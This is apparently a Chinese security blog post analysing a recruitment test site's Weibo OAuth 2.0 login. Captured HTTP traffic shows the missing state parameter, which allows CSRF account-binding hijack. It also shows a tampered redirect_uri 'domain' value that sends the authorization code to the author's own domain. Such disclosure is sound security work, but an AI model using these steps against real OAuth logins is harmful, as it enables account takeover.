最近要开始校招了,中午的时候室友说某在线测评网站做得真是坑,不小心调了个音量结果就balabala说”请不要离开当前页面”~~~我就去注册了一个账号测试了一下,然后溜达溜达着,发现网站提供第三方账号登录,于是乎,就有了这篇文章,如果想对Oauth 2.0更一步的了解,请移步理解OAuth 2.0
网站在实现用户给予网站授权的时候,采用的最复杂的授权码模式,授权码授权模型如下:
A步骤中,客户端申请认证的URI,包含以下参数:
接下来,我抓包拦截看了看网站使用微博账号授权登录的请求包和返回包:
1 2 3 4 5 6 7 8 9 10 |
GET /oauth2/authorize?client_id=894937143&response_type=code&redirect_uri=http://www.example.com/auth/open/login/1?domain=www.example.com HTTP/1.1 Host: api.weibo.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://www.example.com/settings/bind-info Cookie: XXXXXXXXXXXXXXXXXXXX Connection: close Upgrade-Insecure-Requests: 1 |
1 2 3 4 5 6 7 8 9 10 11 |
HTTP/1.1 302 Found Server: nginx/1.6.1 Date: Sun, 16 Jul 2017 06:37:34 GMT Content-Length: 0 Connection: close Pragma: No-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Location: http://www.example.com/auth/open/login/1?domain=www.example.com&code=5b36b7a82d91e8cbe4dbefe78e0970c6 SINA-LB: aGEuMjIuZzEuc2UubGIuc2luYW5vZGUuY29t SINA-TS: NDg4OGMzNjggMCAxIDEgOCAzNAo= |
你会看到,网站没有使用state参数防止CSRF,在测试的过程中,也没有其它的方法防止CSRF,受害者如果访问了返回包中的重定向地址,攻击者的微博就和受害者的账号绑定起来,就可以使用微博直接登录受害者账号了。
另外一点,查看了一下redirect_uri,发现这里也是有问题的
1 |
redirect_uri=http://www.example.com/auth/open/login/1?domain=www.example.com |
当我直接修改前面的参数的时候,新浪提示redirect_uri不匹配,然后我把domain后面的值修改了,直接跳转到了我的网站
1 2 3 4 5 6 7 8 9 |
GET /auth/open/login/1?domain=ecma.io&code=123456 HTTP/1.1 Host: www.example.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: JSESSIONID=0916DB187DEA12CF231596BAB684410F; Hm_lvt_e16bac3df70cc77a3932bd0f15bfbed6=1500181893,1500184577,1500185189; Hm_lpvt_e16bac3df70cc77a3932bd0f15bfbed6=1500185357; SERVERID=8aec7dbb08e2108b69ced7f76e06b292|1500187749|1500181843 Connection: close |
1 2 3 4 5 6 7 8 9 10 11 12 |
HTTP/1.1 302 Found Date: Sun, 16 Jul 2017 06:49:19 GMT Content-Length: 0 Connection: close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: 0 X-Frame-Options: DENY Location: http://ecma.io/auth/open/login/1?code=123456 Set-Cookie: SERVERID=8aec7dbb08e2108b69ced7f76e06b292|1500187759|1500181843;Path=/ |
网站应该是提供了一个跳转的功能,新浪微博应该只是匹配了url前面的部分,没有对后面的参数进行限制,因此这里也存在漏洞。
总结:网站使用第三方登录的时候,应该是存在两个地方的漏洞,第一个是CSRF导致的绑定劫持,另外一个是redirect_uri导致的授权码劫持
本文由 安全周 作者:追梦 发表,转载请注明来源!
您必须[登录] 才能发表留言!